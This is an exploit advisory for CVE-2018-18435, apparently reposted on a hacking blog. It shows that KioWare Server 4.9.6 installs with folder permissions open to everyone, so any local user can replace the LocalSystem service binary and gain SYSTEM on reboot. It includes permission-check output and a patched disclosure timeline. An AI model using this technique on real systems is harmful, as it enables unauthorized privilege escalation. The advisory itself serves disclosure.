Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863557623

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title      : KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation
# Date               : 10/12/2018
# Exploit Author     : Hashim Jawad - @ihack4falafel
# Vendor Homepage    : https://www.kioware.com/
# Tested on          : Windows Server 2016 Standard (x64)
# CVE                : CVE-2018-18435

Description:
============
KioWare Server version 4.9.6 and older installs by default to "C:\kioware_com" with weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the directory and it's sub-folders. In addition, the program installs a service called "KWSService" which runs as "Localsystem", this will allow any user to escalate privileges to "NT AUTHORITY\SYSTEM" by substituting the service's binary with a malicious one.

Proof:
======
C:\>icacls c:\kioware_com
C:\kioware_com Everyone:(OI)(CI)(F)
               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
               BUILTIN\Administrators:(I)(OI)(CI)(F)
               BUILTIN\Users:(I)(OI)(CI)(RX)
               BUILTIN\Users:(I)(CI)(AD)
               BUILTIN\Users:(I)(CI)(WD)
               CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>sc qc KWSService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: KWSService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\kioware_com\KWSS.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : KWS Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>icacls C:\kioware_com\KWSS.exe
C:\kioware_com\KWSS.exe Everyone:(I)(F)
                        NT AUTHORITY\SYSTEM:(I)(F)
                        BUILTIN\Administrators:(I)(F)
                        BUILTIN\Users:(I)(RX)
                        WIN-ONKVVSNUHKV\test:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>

Exploit:
========
Simply replace "KWSS.exe" with your preferred payload and wait for execution upon reboot.

# Disclosure Timeline:
# ====================
# 10-13-18: Contacted vendor
# 10-15-18: Vendor requested full report and POC
# 10-15-18: Full report and POC sent
# 10-16-18: Vendor was able to reproduce/validate the issue and filed a feature request
# 10-16-18: Asked vendor to provide timeline for patch
# 10-16-18: Requested CVE ID 
# 10-17-18: CVE-2018-18435 assigned 
# 10-17-18: Vendor requested 90 days timeline to patch/QA test
# 12-20-18: Vendor sent patch and requested feedback
# 12-22-18: Suggestions/modifications sent to Vendor
# 12-24-18: Vendor sent new patch and requested feedback
# 12-25-18: New Suggestions/modifications sent to Vendor
# 12-26-18: Vendor sent new patch and requested feedback
# 12-27-18: Vendor was notified that the latest patch is sufficient
# 12-31-18: Vendor released new version (v4.9.9) and patch as well
# 01-07-19: Vulnerability has been made public